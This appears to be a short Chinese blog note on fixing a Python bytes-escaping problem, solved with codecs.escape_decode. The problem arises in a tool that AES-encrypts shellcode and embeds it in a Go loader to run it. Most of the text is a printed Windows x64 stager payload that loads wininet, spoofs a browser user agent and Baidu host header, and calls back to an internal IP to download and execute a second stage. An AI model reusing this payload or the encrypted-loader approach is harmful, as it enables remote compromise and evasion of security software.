python操作一段shellcode遇到的问题bytes 转义符问题
我写的程序会接收一个shellcode的变量 然后将这个shellcode aes加密的字符串写到go的代码里 go使用go-shellcode执行shellcode
一、python2和python3对于 这种类型的字符串是不一样的
#!/usr/bin/python # coding=utf-8 Date: 2021-09-24 10:33:47 LastEditors: recar LastEditTime: 2021-09-24 10:33:53 text = b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x39x30x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x60x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx75x31x6ax4dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x37x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x35x2ex31x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x29x0dx0ax00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x2ex63x6fx6dx00x62x61x69x64x75x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x39x32x2ex31x36x38x2ex31x34x39x2ex31x33x31x00x00x00x00x00" print(type(text))
二、python接收到的变量是 \xfc\x48\x83\xe4 的 然后加密的时候因为多了 转义符导致跟预期的不一致 那怎么把这个转义符去掉达到预期
import codecs 变量=codecs.escape_decode(有多余转义变量, "hex-escape")
也就是如果下次遇到要扣buf等类似的需求 并且变量是传过来的 可以使用这个方法还原回去
